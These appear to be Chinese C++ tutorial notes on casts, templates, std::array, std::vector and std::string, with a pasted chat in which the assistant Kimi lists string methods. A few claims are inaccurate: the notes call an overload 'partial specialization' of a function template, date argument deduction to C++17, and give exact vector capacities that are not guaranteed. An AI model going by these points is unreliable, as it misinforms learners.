  • 用于将对象转换为字节流等。

示例:

int a = 10;
void* ptr = reinterpret_cast<void*>(&a);  // int 指针转为 void 指针

int* p = reinterpret_cast<int*>(ptr);  // void 指针转回 int 指针

reinterpret_cast 能够绕过类型系统,进行几乎所有的内存级别的转换,因此它通常用在底层编程中。

总结:

  1. static_cast:用于已知类型之间的安全转换,编译时检查。
  2. dynamic_cast:用于多态类型之间的转换,运行时检查,通常用于指针和引用的转换。
  3. const_cast:用于修改 constvolatile 限定符。
  4. reinterpret_cast:低级类型转换,用于指针类型和整数类型之间的转换。

不同的类型转换方法有不同的适用场景,选择时需要根据需求来决定。如果不确定,通常优先使用 static_cast,而对于多态类型转换则使用 dynamic_cast

L18 函数模板

// read:zh.cppreference.com/w/cpp/langu…

什么是函数模板?

函数模板是 C++ 中实现 泛型编程 的一种方式,它允许你编写一个函数模板(即一个函数的蓝图),可以在不同的类型上进行操作。通过函数模板,我们可以编写通用的代码,不需要为每种数据类型重复编写多个版本的函数。

函数模板在编译时会根据传入的类型自动生成具体的函数版本,减少了代码的冗余。

函数模板的基本语法

函数模板的基本语法格式如下:

template <typename T>
return_type function_name(parameter_list) {
    // 函数体
}
  • template <typename T>:这是模板声明,告诉编译器该函数是一个模板函数,T 是模板参数,可以是任何合法的类型。你也可以使用 class 来代替 typename,两者是等价的。
  • return_type:返回值类型,可以是任意合法的类型。
  • function_name:函数的名字。
  • parameter_list:函数的参数列表,可以是任意类型。

示例:一个简单的函数模板

#include <iostream>

// 函数模板:交换两个变量的值
template <typename T>
void swap_values(T &a, T &b) {
    T temp = a;
    a = b;
    b = temp;
}

int main() {
    int x = 10, y = 20;
    swap_values(x, y);  // 使用模板函数交换整数
    std::cout << "x = " << x << ", y = " << y << std::endl;  // 输出:x = 20, y = 10

    double m = 3.14, n = 2.71;
    swap_values(m, n);  // 使用模板函数交换浮点数
    std::cout << "m = " << m << ", n = " << n << std::endl;  // 输出:m = 2.71, n = 3.14

    return 0;
}

在这个例子中,swap_values 是一个函数模板,它可以交换任意类型 T 的两个变量的值。我们可以看到,通过模板,我们可以在 main 函数中同时交换 int 类型和 double 类型的值,避免了为每种类型编写不同的交换函数。

自动推导模板参数

当调用模板函数时,C++ 编译器可以自动推导模板参数的类型。我们无需显式指定类型,编译器会根据传入的参数类型推导出正确的类型。

#include <iostream>

template <typename T>
void print(T value) {
    std::cout << value << std::endl;
}

int main() {
    print(10);        // 自动推导为 int
    print(3.14);      // 自动推导为 double
    print("Hello");   // 自动推导为 const char*
    
    return 0;
}

在这个例子中,print 函数模板根据传入的参数自动推导出正确的类型,因此我们无需显式指定模板类型。

模板特化(Template Specialization)

有时我们需要为某些特定的类型提供不同的实现。这时可以使用 模板特化,即为特定类型定义一个特殊版本的模板。

完全特化(Full Specialization)

如果你想为特定类型定义一个特定的函数实现,可以使用完全特化:

#include <iostream>

// 通用模板
template <typename T>
void print(T value) {
    std::cout << "Generic template: " << value << std::endl;
}

// 完全特化:为 int 类型提供一个特殊版本
template <>
void print<int>(int value) {
    std::cout << "Specialized template for int: " << value << std::endl;
}

int main() {
    print(10);    // 调用特化版
    print(3.14);  // 调用通用版
    return 0;
}

在这个例子中,当 print(10) 被调用时,编译器会选择 print<int> 函数模板,而对于 print(3.14),则会选择通用的 print 函数模板。

偏特化(Partial Specialization)

偏特化是指对模板的部分参数进行特化,即对于某些特定类型的组合提供不同的实现。

#include <iostream>

// 通用模板
template <typename T, typename U>
void print(T a, U b) {
    std::cout << "Generic template: " << a << ", " << b << std::endl;
}

// 偏特化:当两个类型相同
template <typename T>
void print(T a, T b) {
    std::cout << "Specialized template for same types: " << a << ", " << b << std::endl;
}

int main() {
    print(10, 20);      // 使用偏特化版本
    print(3.14, 2.71);  // 使用偏特化版本
    print(10, 3.14);    // 使用通用版本
    return 0;
}

在此例中,当两个参数类型相同(如 intint)时,编译器会选择偏特化的 print 版本,否则选择通用版本。

sp 浮点数比较大小

浮点数(如 floatdouble)由于精度限制,在进行计算时会产生微小的误差。因此,直接使用 == 来判断浮点数是否相等可能会导致错误的结果。通常,我们使用一个小的容差(epsilon)来判断两个浮点数是否足够接近。

为了通过 ASSERT(plus(0.1, 0.2) == 0.3, "How to make this pass?");,你可以将浮点数比较的部分修改为判断它们的差值是否足够小。

解决方法:

可以使用 std::abs 来计算两个浮点数的差,并与一个非常小的容差值(如 1e-9)进行比较。

修改后的代码:

#include <cmath>  // 引入 abs 函数

template <class T>
T plus(T a, T b) {
    return a + b;
}

template <class T>
bool are_equal(T a, T b) {
    const T epsilon = 1e-9;  // 定义容差值
    return std::abs(a - b) < epsilon;  // 判断两个数的差值是否小于容差
}

int main(int argc, char **argv) {
    ASSERT(plus(1, 2) == 3, "Plus two int");
    ASSERT(plus(1u, 2u) == 3u, "Plus two unsigned int");

    ASSERT(plus(1.25f, 2.5f) == 3.75f, "Plus two float");
    ASSERT(plus(1.25, 2.5) == 3.75, "Plus two double");

    // 修改判断条件
    ASSERT(are_equal(plus(0.1, 0.2), 0.3), "How to make this pass?");

    return 0;
}

解释:

  • are_equal 函数:用来判断两个浮点数是否相等。通过计算它们的差值并与容差 epsilon 进行比较。如果差值小于容差,认为这两个数“相等”。
  • epsilon:一个很小的常量,用于定义允许的误差范围。对于不同的应用场景,容差值可能需要根据实际需求调整。

通过这种方式,可以避免由于浮点数精度问题导致的错误比较结果。

L19 类模板

类模板的基本语法

类模板的定义类似于普通的类定义,不同之处在于类名之前会加上模板参数。模板参数可以是类型,也可以是非类型参数。其基本语法如下:

template <typename T>
class MyClass {
public:
    T value;

    MyClass(T val) : value(val) {}

    void print() {
        std::cout << "Value: " << value << std::endl;
    }
};
  • template <typename T>:声明了一个模板参数 T,它是一个类型参数。类模板将为 T 类型生成类的定义。
  • class MyClass:类的定义,它使用 T 作为成员类型。

类模板的实例化

定义了类模板之后,我们可以通过具体的类型实例化类模板。这相当于“生成”了一个类,根据指定的类型参数构建类。例如:

int main() {
    MyClass<int> obj1(42);    // 创建一个类型为 int 的对象
    obj1.print();              // 输出:Value: 42

    MyClass<double> obj2(3.14);  // 创建一个类型为 double 的对象
    obj2.print();                // 输出:Value: 3.14

    return 0;
}
  • MyClass<int>:实例化 MyClass 模板为 int 类型的类。
  • MyClass<double>:实例化 MyClass 模板为 double 类型的类。

这就像为每个类型单独生成一个类,因此同一个模板可以为不同的类型生成不同的类。

非类型模板参数

除了类型模板参数,C++ 还支持非类型模板参数。非类型模板参数不是类型,而是某种值(例如整数、指针等)。它可以在模板定义时指定,用来控制类的行为。语法如下:

template <typename T, int N>
class Array {
public:
    T data[N];

    Array() {
        for (int i = 0; i < N; ++i) {
            data[i] = T();  // 默认初始化
        }
    }

    void print() {
        for (int i = 0; i < N; ++i) {
            std::cout << data[i] << " ";
        }
        std::cout << std::endl;
    }
};

在这个例子中,N 是一个非类型模板参数,它表示数组的大小。

实例化时,我们可以指定 N 的值:

int main() {
    Array<int, 5> arr1;  // 创建一个大小为 5 的 int 类型数组
    arr1.print();         // 输出:0 0 0 0 0

    Array<double, 3> arr2;  // 创建一个大小为 3 的 double 类型数组
    arr2.print();            // 输出:0 0 0

    return 0;
}

模板特化(Template Specialization)

模板特化允许我们为某些特定类型定义不同的类实现。C++ 支持两种类型的模板特化:

  1. 完全特化:为某个特定类型提供完全不同的实现。
  2. 偏特化:为类型的一部分(例如某些类型组合)提供特定实现。

完全特化

template <>
class MyClass<bool> {
public:
    bool value;

    MyClass(bool val) : value(val) {}

    void print() {
        std::cout << "Boolean value: " << value << std::endl;
    }
};

这里我们为 MyClass<bool> 提供了一个特定实现。

偏特化

偏特化允许为某些类型组合提供特定的实现,例如:

template <typename T>
class MyClass<T*> {  // 为指针类型的 T 提供特化
public:
    T* ptr;

    MyClass(T* p) : ptr(p) {}

    void print() {
        std::cout << "Pointer value: " << *ptr << std::endl;
    }
};

这样,MyClass<int*>MyClass<double*> 会使用特化的版本,而其他类型仍然使用通用版本。

模板的成员函数

类模板的成员函数可以像普通成员函数一样定义,可以在类内部定义,也可以在外部定义。成员函数的定义和普通类成员函数一样,但需要在函数定义时指定模板参数。

例如:

template <typename T>
class MyClass {
public:
    T value;

    MyClass(T val) : value(val) {}

    void print() const {
        std::cout << "Value: " << value << std::endl;
    }

    T getValue() const {
        return value;
    }
};

如果成员函数定义在类外部,必须在定义时指定模板参数:

template <typename T>
T MyClass<T>::getValue() const {
    return value;
}

模板的成员变量

类模板中的成员变量可以是类型化的,和成员函数一样,可以根据模板参数进行定义。

template <typename T>
class MyClass {
public:
    T value;
    static int count;  // 静态成员变量

    MyClass(T val) : value(val) {
        ++count;
    }

    void print() const {
        std::cout << "Value: " << value << std::endl;
    }
};

template <typename T>
int MyClass<T>::count = 0;  // 静态成员变量的定义

总结

类模板是 C++ 中强大的特性之一,它允许我们编写能够处理多种类型的类,而不需要为每种类型编写重复的代码。类模板可以通过类型参数和非类型参数来实现通用类的定义,还支持特化机制来为特定类型提供不同的实现。类模板是泛型编程的核心部分,可以让代码更加灵活和高效。

sp 单向广播

单向广播(Broadcasting)概述:

  1. 单向广播是指在不同形状的数组之间进行运算时,较小的数组会自动扩展为较大数组的形状。
  2. 扩展是根据广播规则自动完成的,不需要手动调整数组大小。
  3. 规则:如果两个数组的维度数不同,较小维度的数组会在最左侧加上额外的维度。
  4. 规则:如果两个数组在某一维度大小相同,或其中一个维度为1,则可以进行广播。
  5. 规则:如果两者在某维度大小都不相同且不为1,无法进行广播。

C++ 示例:向量与矩阵的广播加法

#include <iostream>
#include <vector>

void broadcast_add(const std::vector<std::vector<int>>& A, const std::vector<int>& B, std::vector<std::vector<int>>& result) {
    for (size_t i = 0; i < A.size(); ++i)
        for (size_t j = 0; j < A[0].size(); ++j)
            result[i][j] = A[i][j] + B[j];
}

int main() {
    std::vector<std::vector<int>> A = {{1, 2, 3}, {4, 5, 6}};
    std::vector<int> B = {10, 20, 30};
    std::vector<std::vector<int>> result(2, std::vector<int>(3));

    broadcast_add(A, B, result);

    for (const auto& row : result)
        for (int val : row) std::cout << val << " ";
    std::cout << std::endl;
}

Python 示例:向量与矩阵的广播加法

import numpy as np

A = np.array([[1, 2, 3], [4, 5, 6]])
B = np.array([10, 20, 30])

result = A + B  # 自动广播 B 到每一列
print(result)

结果:

  • C++ 输出[11, 22, 33] [14, 25, 36]
  • Python 输出[[11 22 33] [14 25 36]]

广播让不同形状的数组可以进行数学运算,避免了手动调整形状的复杂性。

L20 模板形参与实参

1. 模板形参(Template Parameters)

模板形参是模板定义中声明的参数,用于表示未知的类型或值。模板形参可以是:

  • 类型参数:表示某种类型(如 typename T)。
  • 非类型参数:表示常量值(如 int N)。

示例:模板形参的定义

template <typename T, int N> // T 是类型参数,N 是非类型参数
class Array {
private:
    T data[N]; // 使用模板形参定义数组
public:
    void set(int index, T value) {
        data[index] = value;
    }
    T get(int index) const {
        return data[index];
    }
};

在上面的代码中:

  • T 是一个类型参数,表示数组元素的类型。
  • N 是一个非类型参数,表示数组的大小。

2. 模板实参(Template Arguments)

模板实参是模板实例化时提供的具体值或类型,用于替换模板形参。模板实参可以是:

  • 类型实参:具体的类型(如 intdouble)。
  • 非类型实参:具体的常量值(如 10100)。

示例:模板实参的使用

int main() {
    Array<int, 5> intArray; // 实例化模板,T = int, N = 5
    intArray.set(0, 10);
    std::cout << intArray.get(0) << std::endl; // 输出: 10

    Array<double, 3> doubleArray; // 实例化模板,T = double, N = 3
    doubleArray.set(1, 3.14);
    std::cout << doubleArray.get(1) << std::endl; // 输出: 3.14

    return 0;
}

在上面的代码中:

  • Array<int, 5> 中的 int5 是模板实参,分别替换了模板形参 TN
  • Array<double, 3> 中的 double3 是模板实参,分别替换了模板形参 TN

3. 模板形参的默认值

C++ 允许为模板形参提供默认值。如果实例化时未提供实参,则使用默认值。

示例:模板形参的默认值

template <typename T = int, int N = 10> // 为 T 和 N 提供默认值
class Buffer {
private:
    T data[N];
public:
    void fill(T value) {
        for (int i = 0; i < N; ++i) {
            data[i] = value;
        }
    }
    void print() const {
        for (int i = 0; i < N; ++i) {
            std::cout << data[i] << " ";
        }
        std::cout << std::endl;
    }
};

int main() {
    Buffer<> defaultBuffer; // 使用默认模板实参,T = int, N = 10
    defaultBuffer.fill(42);
    defaultBuffer.print(); // 输出: 42 42 42 42 42 42 42 42 42 42

    Buffer<double, 5> customBuffer; // 使用自定义模板实参,T = double, N = 5
    customBuffer.fill(3.14);
    customBuffer.print(); // 输出: 3.14 3.14 3.14 3.14 3.14

    return 0;
}

在上面的代码中:

  • Buffer<> 使用了模板形参的默认值 T = intN = 10
  • Buffer<double, 5> 提供了自定义的模板实参。

4. 模板形参的类型推导

在 C++17 中,模板实参可以通过函数参数的类型自动推导,无需显式指定。

示例:模板形参的类型推导

template <typename T>
void print(T value) {
    std::cout << value << std::endl;
}

int main() {
    print(42);       // 推导 T = int
    print(3.14);     // 推导 T = double
    print("Hello");  // 推导 T = const char*

    return 0;
}

在上面的代码中:

  • 编译器根据函数参数的类型自动推导出模板实参。

5. 模板形参的约束(C++20)

C++20 引入了 概念(Concepts),用于对模板形参进行约束,确保模板实参满足特定条件。

示例:模板形参的约束

#include <concepts>

template <typename T>
requires std::integral<T> // 约束 T 必须是整数类型
T add(T a, T b) {
    return a + b;
}

int main() {
    std::cout << add(10, 20) << std::endl; // 合法,T = int
    // std::cout << add(3.14, 2.71) << std::endl; // 错误,T = double 不满足约束

    return 0;
}

在上面的代码中:

  • std::integral<T> 约束了模板形参 T 必须是整数类型。

L21: std::array, std::vector, 和 std::string

在 C++ 标准库中,std::arraystd::vectorstd::string 是三个非常常用的容器类。它们分别用于管理固定大小的数组、动态数组和字符串。以下是它们的详细介绍和对比。

1. std::array

概述

  • std::array 是一个封装了固定大小数组的容器。
  • 它是 C++11 引入的,位于 <array> 头文件中。
  • 大小在编译时确定,不可动态调整。

特点

  • 固定大小:大小在编译时确定,无法在运行时改变。
  • 性能高效:与原生数组性能相当,没有额外的动态内存分配开销。
  • 支持迭代器:可以使用标准库的算法和范围 for 循环。
  • 安全性:提供 at() 方法进行边界检查。

示例代码

#include <iostream>
#include <array>

int main() {
    std::array<int, 5> arr = {1, 2, 3, 4, 5}; // 定义一个大小为 5 的数组

    // 访问元素
    std::cout << "Element at index 2: " << arr[2] << std::endl; // 输出: 3
    std::cout << "Element at index 2 (using at): " << arr.at(2) << std::endl; // 输出: 3

    // 遍历数组
    for (int i : arr) {
        std::cout << i << " "; // 输出: 1 2 3 4 5
    }
    std::cout << std::endl;

    // 获取数组大小
    std::cout << "Size of array: " << arr.size() << std::endl; // 输出: 5

    return 0;
}

std::array 常用方法

std::array 提供了许多常用的方法来操作和访问数组中的元素。以下是一些常用的方法及其说明:

1.1 at(size_type pos)

  • 功能:访问指定位置的元素,并进行边界检查。
  • 参数pos 表示要访问的元素的位置。
  • 返回值:返回指定位置的元素的引用。
  • 异常:如果 pos 超出数组范围,抛出 std::out_of_range 异常。
std::array<int, 5> arr = {1, 2, 3, 4, 5};
int element = arr.at(2); // 访问索引为 2 的元素,值为 3

1.2 operator[]

  • 功能:访问指定位置的元素,不进行边界检查。
  • 参数pos 表示要访问的元素的位置。
  • 返回值:返回指定位置的元素的引用。
  • 注意:与 at() 不同,operator[] 不会进行边界检查,访问越界会导致未定义行为。
std::array<int, 5> arr = {1, 2, 3, 4, 5};
int element = arr[2]; // 访问索引为 2 的元素,值为 3

1.3 front()

  • 功能:访问数组的第一个元素。
  • 返回值:返回第一个元素的引用。
std::array<int, 5> arr = {1, 2, 3, 4, 5};
int first_element = arr.front(); // 访问第一个元素,值为 1

1.4 back()

  • 功能:访问数组的最后一个元素。
  • 返回值:返回最后一个元素的引用。
std::array<int, 5> arr = {1, 2, 3, 4, 5};
int last_element = arr.back(); // 访问最后一个元素,值为 5

1.5 data()

  • 功能:返回指向数组第一个元素的指针。
  • 返回值:返回指向数组首元素的指针。
std::array<int, 5> arr = {1, 2, 3, 4, 5};
int* ptr = arr.data(); // 获取指向数组首元素的指针

1.6 size()

  • 功能:返回数组的大小(元素个数)。
  • 返回值:返回数组的大小。
std::array<int, 5> arr = {1, 2, 3, 4, 5};
std::size_t size = arr.size(); // 获取数组大小,值为 5

1.7 empty()

  • 功能:检查数组是否为空。
  • 返回值:如果数组大小为 0,返回 true,否则返回 false
std::array<int, 5> arr = {1, 2, 3, 4, 5};
bool is_empty = arr.empty(); // 检查数组是否为空,值为 false

1.8 fill(const T& value)

  • 功能:将数组中的所有元素设置为指定的值。
  • 参数value 表示要设置的值。
std::array<int, 5> arr;
arr.fill(10); // 将数组中的所有元素设置为 10
// arr 现在为 {10, 10, 10, 10, 10}

1.9 begin()end()

  • 功能:返回指向数组第一个元素和最后一个元素之后位置的迭代器。
  • 返回值:返回指向数组首元素和尾后元素的迭代器。
std::array<int, 5> arr = {1, 2, 3, 4, 5};
for (auto it = arr.begin(); it != arr.end(); ++it) {
    std::cout << *it << " "; // 输出: 1 2 3 4 5
}

1.10 cbegin()cend()

  • 功能:返回指向数组第一个元素和最后一个元素之后位置的常量迭代器。
  • 返回值:返回指向数组首元素和尾后元素的常量迭代器。
std::array<int, 5> arr = {1, 2, 3, 4, 5};
for (auto it = arr.cbegin(); it != arr.cend(); ++it) {
    std::cout << *it << " "; // 输出: 1 2 3 4 5
}

1.11 rbegin()rend()

  • 功能:返回指向数组最后一个元素和第一个元素之前位置的逆向迭代器。
  • 返回值:返回指向数组尾元素和首前元素的逆向迭代器。
std::array<int, 5> arr = {1, 2, 3, 4, 5};
for (auto it = arr.rbegin(); it != arr.rend(); ++it) {
    std::cout << *it << " "; // 输出: 5 4 3 2 1
}

1.12 crbegin()crend()

  • 功能:返回指向数组最后一个元素和第一个元素之前位置的常量逆向迭代器。
  • 返回值:返回指向数组尾元素和首前元素的常量逆向迭代器。
std::array<int, 5> arr = {1, 2, 3, 4, 5};
for (auto it = arr.crbegin(); it != arr.crend(); ++it) {
    std::cout << *it << " "; // 输出: 5 4 3 2 1
}

1.13 swap(std::array& other)

  • 功能:交换两个数组的内容。
  • 参数other 表示要交换的另一个数组。
std::array<int, 5> arr1 = {1, 2, 3, 4, 5};
std::array<int, 5> arr2 = {6, 7, 8, 9, 10};
arr1.swap(arr2); // 交换 arr1 和 arr2 的内容

2. std::vector

概述

  • std::vector 是一个动态数组容器。
  • 位于 <vector> 头文件中。
  • 大小可以动态调整,支持在尾部高效地添加和删除元素。

特点

  • 动态大小:可以在运行时动态调整大小。
  • 连续存储:元素在内存中连续存储,支持随机访问。
  • 自动内存管理:自动处理内存分配和释放。
  • 支持迭代器:可以使用标准库的算法和范围 for 循环。

示例代码

#include <iostream>
#include <vector>

int main() {
    std::vector<int> vec = {1, 2, 3}; // 初始化一个 vector

    // 添加元素
    vec.push_back(4); // vec: {1, 2, 3, 4}
    vec.push_back(5); // vec: {1, 2, 3, 4, 5}

    // 访问元素
    std::cout << "Element at index 2: " << vec[2] << std::endl; // 输出: 3
    std::cout << "Element at index 2 (using at): " << vec.at(2) << std::endl; // 输出: 3

    // 遍历 vector
    for (int i : vec) {
        std::cout << i << " "; // 输出: 1 2 3 4 5
    }
    std::cout << std::endl;

    // 获取 vector 大小
    std::cout << "Size of vector: " << vec.size() << std::endl; // 输出: 5

    // 删除最后一个元素
    vec.pop_back(); // vec: {1, 2, 3, 4}
    std::cout << "Size after pop_back: " << vec.size() << std::endl; // 输出: 4

    return 0;
}

std::vector 常用方法

1. 元素访问

方法功能描述
operator[]访问指定位置的元素,不进行边界检查
at(size_t pos)访问指定位置的元素,进行边界检查,如果越界则抛出 std::out_of_range
front()返回第一个元素的引用。
back()返回最后一个元素的引用。
data()返回指向底层数组的指针。

示例:

std::vector<int> vec = {1, 2, 3};
std::cout << vec[0] << std::endl;    // 输出: 1
std::cout << vec.at(1) << std::endl; // 输出: 2
std::cout << vec.front() << std::endl; // 输出: 1
std::cout << vec.back() << std::endl;  // 输出: 3
int* ptr = vec.data();               // 获取底层数组指针

2. 容量相关

方法功能描述
size()返回 vector 中元素的数量。
capacity()返回 vector 当前分配的内存容量(可容纳的元素数量)。
empty()检查 vector 是否为空。
reserve(size_t n)预分配至少能容纳 n 个元素的内存空间。
shrink_to_fit()释放未使用的内存,使 capacity() 等于 size()

示例:

std::vector<int> vec = {1, 2, 3};
std::cout << vec.size() << std::endl;     // 输出: 3
std::cout << vec.capacity() << std::endl; // 输出: 3
vec.reserve(10);
std::cout << vec.capacity() << std::endl; // 输出: 10
vec.shrink_to_fit();
std::cout << vec.capacity() << std::endl; // 输出: 3

3. 修改容器

方法功能描述
push_back(const T& value)在尾部添加一个元素。
pop_back()删除尾部的一个元素。
insert(iterator pos, const T& value)在指定位置插入一个元素。
erase(iterator pos)删除指定位置的元素。
clear()清空所有元素。
resize(size_t n)调整 vector 的大小为 n,多出的元素用默认值填充。
swap(std::vector& other)交换两个 vector 的内容。

示例:

std::vector<int> vec = {1, 2, 3};
vec.push_back(4); // vec: {1, 2, 3, 4}
vec.pop_back();   // vec: {1, 2, 3}
vec.insert(vec.begin() + 1, 5); // vec: {1, 5, 2, 3}
vec.erase(vec.begin() + 2); // vec: {1, 5, 3}
vec.clear(); // vec: {}

4. 迭代器

方法功能描述
begin()返回指向第一个元素的迭代器。
end()返回指向末尾(最后一个元素之后)的迭代器。
cbegin()返回指向第一个元素的常量迭代器。
cend()返回指向末尾的常量迭代器。
rbegin()返回指向最后一个元素的反向迭代器。
rend()返回指向开头之前的反向迭代器。
crbegin()返回指向最后一个元素的常量反向迭代器。
crend()返回指向开头之前的常量反向迭代器。

示例:

std::vector<int> vec = {1, 2, 3};

// 使用迭代器遍历
for (auto it = vec.begin(); it != vec.end(); ++it) {
    std::cout << *it << " "; // 输出: 1 2 3
}

// 使用反向迭代器遍历
for (auto it = vec.rbegin(); it != vec.rend(); ++it) {
    std::cout << *it << " "; // 输出: 3 2 1
}

5. 比较操作

方法功能描述
operator==比较两个 vector 是否相等。
operator!=比较两个 vector 是否不相等。
operator<比较两个 vector 的字典序。
operator>比较两个 vector 的字典序。
operator<=比较两个 vector 的字典序。
operator>=比较两个 vector 的字典序。

示例:

std::vector<int> vec1 = {1, 2, 3};
std::vector<int> vec2 = {1, 2, 3};

if (vec1 == vec2) {
    std::cout << "Vectors are equal." << std::endl; // 输出: Vectors are equal.
}

3. std::string

概述

  • std::string 是一个用于表示和操作字符串的类。
  • 位于 <string> 头文件中。
  • 支持动态调整大小,提供了丰富的字符串操作功能。

特点

  • 动态大小:字符串长度可以动态调整。
  • 丰富的操作:支持拼接、查找、替换、子串等操作。
  • 支持迭代器:可以使用标准库的算法和范围 for 循环。
  • 自动内存管理:自动处理内存分配和释放。

示例代码

#include <iostream>
#include <string>

int main() {
    std::string str = "Hello"; // 初始化一个字符串

    // 拼接字符串
    str += ", World!"; // str: "Hello, World!"

    // 访问字符
    std::cout << "First character: " << str[0] << std::endl; // 输出: H
    std::cout << "First character (using at): " << str.at(0) << std::endl; // 输出: H

    // 获取字符串长度
    std::cout << "Length of string: " << str.length() << std::endl; // 输出: 13

    // 查找子串
    size_t pos = str.find("World");
    if (pos != std::string::npos) {
        std::cout << "'World' found at position: " << pos << std::endl; // 输出: 7
    }

    // 获取子串
    std::string sub = str.substr(7, 5); // 从位置 7 开始,长度为 5
    std::cout << "Substring: " << sub << std::endl; // 输出: World

    // 遍历字符串
    for (char c : str) {
        std::cout << c; // 输出: Hello, World!
    }
    std::cout << std::endl;

    return 0;
}

User: ### 3. std::string

概述

  • std::string 是一个用于表示和操作字符串的类。
  • 位于 <string> 头文件中。
  • 支持动态调整大小,提供了丰富的字符串操作功能。

特点

  • 动态大小:字符串长度可以动态调整。
  • 丰富的操作:支持拼接、查找、替换、子串等操作。
  • 支持迭代器:可以使用标准库的算法和范围 for 循环。
  • 自动内存管理:自动处理内存分配和释放。

示例代码

#include <iostream>
#include <string>

int main() {
    std::string str = "Hello"; // 初始化一个字符串

    // 拼接字符串
    str += ", World!"; // str: "Hello, World!"

    // 访问字符
    std::cout << "First character: " << str[0] << std::endl; // 输出: H
    std::cout << "First character (using at): " << str.at(0) << std::endl; // 输出: H

    // 获取字符串长度
    std::cout << "Length of string: " << str.length() << std::endl; // 输出: 13

    // 查找子串
    size_t pos = str.find("World");
    if (pos != std::string::npos) {
        std::cout << "'World' found at position: " << pos << std::endl; // 输出: 7
    }

    // 获取子串
    std::string sub = str.substr(7, 5); // 从位置 7 开始,长度为 5
    std::cout << "Substring: " << sub << std::endl; // 输出: World

    // 遍历字符串
    for (char c : str) {
        std::cout << c; // 输出: Hello, World!
    }
    std::cout << std::endl;

    return 0;
}

在这个后面补充string的常用方法 Kimi: ### std::string 常用方法

std::string常用方法

1. 构造函数

  • 默认构造:创建一个空字符串。
    std::string s;
    
  • 从 C 风格字符串构造:从 C 风格字符串构造 std::string
    std::string s = "Hello";
    
  • 从另一个字符串构造:从另一个字符串的子串构造。
    std::string s1 = "Hello, World!";
    std::string s2 = s1.substr(7, 5); // s2: "World"
    
  • 重复字符构造:创建一个包含重复字符的字符串。
    std::string s(10, 'a'); // s: "aaaaaaaaaa"
    

2. 字符串操作

  • 拼接:使用 ++= 操作符拼接字符串。
    std::string s1 = "Hello";
    std::string s2 = "World";
    std::string s3 = s1 + ", " + s2 + "!"; // s3: "Hello, World!"
    
  • 赋值:使用 = 操作符赋值。
    std::string s1 = "Hello";
    std::string s2;
    s2 = s1; // s2: "Hello"
    
  • 清空:使用 clear() 方法清空字符串。
    std::string s = "Hello";
    s.clear(); // s: ""
    

3. 字符访问

  • 通过下标访问:使用 [] 操作符访问字符。
    std::string s = "Hello";
    char c = s[0]; // c: 'H'
    s[0] = 'h'; // s: "hello"
    
  • 通过 at 方法访问:使用 at 方法访问字符,会进行边界检查。
    std::string s = "Hello";
    char c = s.at(0); // c: 'H'
    s.at(0) = 'h'; // s: "hello"
    

4. 字符串属性

  • 长度:使用 length()size() 方法获取字符串长度。
    std::string s = "Hello";
    size_t len = s.length(); // len: 5
    size_t size = s.size(); // size: 5
    
  • 是否为空:使用 empty() 方法检查字符串是否为空。
    std::string s = "";
    bool isEmpty = s.empty(); // isEmpty: true
    

5. 查找和替换

  • 查找:使用 find() 方法查找子串。
    std::string s = "Hello, World!";
    size_t pos = s.find("World"); // pos: 7
    if (pos != std::string::npos) {
        std::cout << "'World' found at position: " << pos << std::endl;
    }
    
  • 替换:使用 replace() 方法替换子串。
    std::string s = "Hello, World!";
    s.replace(7, 5, "C++"); // s: "Hello, C++!"
    

6. 子串

  • 获取子串:使用 substr() 方法获取子串。
    std::string s = "Hello, World!";
    std::string sub = s.substr(7, 5); // sub: "World"
    

7. 比较

  • 比较字符串:使用 ==!=<><=>= 操作符比较字符串。
    std::string s1 = "Hello";
    std::string s2 = "World";
    bool isEqual = (s1 == s2); // isEqual: false
    bool isLess = (s1 < s2); // isLess: true
    

8. 迭代器

  • 使用迭代器:使用标准库的算法和范围 for 循环。
    std::string s = "Hello, World!";
    for (char c : s) {
        std::cout << c; // 输出: Hello, World!
    }
    

9. 输入输出

  • 输入:使用 std::cin 读取字符串。
    std::string s;
    std::cin >> s; // 读取一个单词
    std::getline(std::cin, s); // 读取一行
    
  • 输出:使用 std::cout 输出字符串。
    std::string s = "Hello, World!";
    std::cout << s << std::endl; // 输出: Hello, World!
    

10. 其他方法

  • 转换为 C 风格字符串:使用 c_str() 方法获取 C 风格字符串。
    std::string s = "Hello";
    const char* cstr = s.c_str(); // cstr: "Hello"
    
  • 转换为大写或小写:使用 std::transformstd::toupperstd::tolower
    std::string s = "Hello";
    std::transform(s.begin(), s.end(), s.begin(), ::toupper); // s: "HELLO"
    std::transform(s.begin(), s.end(), s.begin(), ::tolower); // s: "hello"
    

这些方法涵盖了 std::string 的大部分常用功能,希望对您有帮助!如果有其他问题或需要进一步的解释,请随时告诉我。

L22 模板特化

1. 模板全特化(Full Specialization)

全特化是指为模板的所有参数提供具体的类型或值,从而为特定类型提供完全不同的实现。

语法:

template <>
class/struct 模板名<具体类型> {
    // 特化实现
};

示例:

#include <iostream>

// 通用模板
template <typename T>
class MyClass {
public:
    void print() {
        std::cout << "Generic template" << std::endl;
    }
};

// 全特化:针对 int 类型
template <>
class MyClass<int> {
public:
    void print() {
        std::cout << "Specialized template for int" << std::endl;
    }
};

int main() {
    MyClass<double> obj1;
    obj1.print(); // 输出: Generic template

    MyClass<int> obj2;
    obj2.print(); // 输出: Specialized template for int

    return 0;
}

特点:

  • 全特化是针对所有模板参数的完全定制。
  • 全特化的实现可以与通用模板完全不同。

2. 模板偏特化(Partial Specialization)

偏特化是指为模板的部分参数提供具体类型或值,从而为某些特定类型组合提供定制化的实现。

语法:

template <typename T1, typename T2>
class 模板名<T1, T2*> { // 偏特化:T2 是指针类型
    // 特化实现
};

示例:

#include <iostream>

// 通用模板
template <typename T1, typename T2>
class MyClass {
public:
    void print() {
        std::cout << "Generic template" << std::endl;
    }
};

// 偏特化:T2 是指针类型
template <typename T1, typename T2>
class MyClass<T1, T2*> {
public:
    void print() {
        std::cout << "Partial specialization for T2*" << std::endl;
    }
};

int main() {
    MyClass<int, double> obj1;
    obj1.print(); // 输出: Generic template

    MyClass<int, double*> obj2;
    obj2.print(); // 输出: Partial specialization for T2*

    return 0;
}

特点:

  • 偏特化是针对部分模板参数的定制。
  • 偏特化可以用于更复杂的类型组合(如指针、引用、特定类型等)。

3. 函数模板特化

函数模板也可以特化,但通常更推荐使用函数重载来实现类似的功能。

示例:

#include <iostream>

// 通用函数模板
template <typename T>
void print(T value) {
    std::cout << "Generic template: " << value << std::endl;
}

// 特化:针对 int 类型
template <>
void print<int>(int value) {
    std::cout << "Specialized template for int: " << value << std::endl;
}

int main() {
    print(3.14); // 输出: Generic template: 3.14
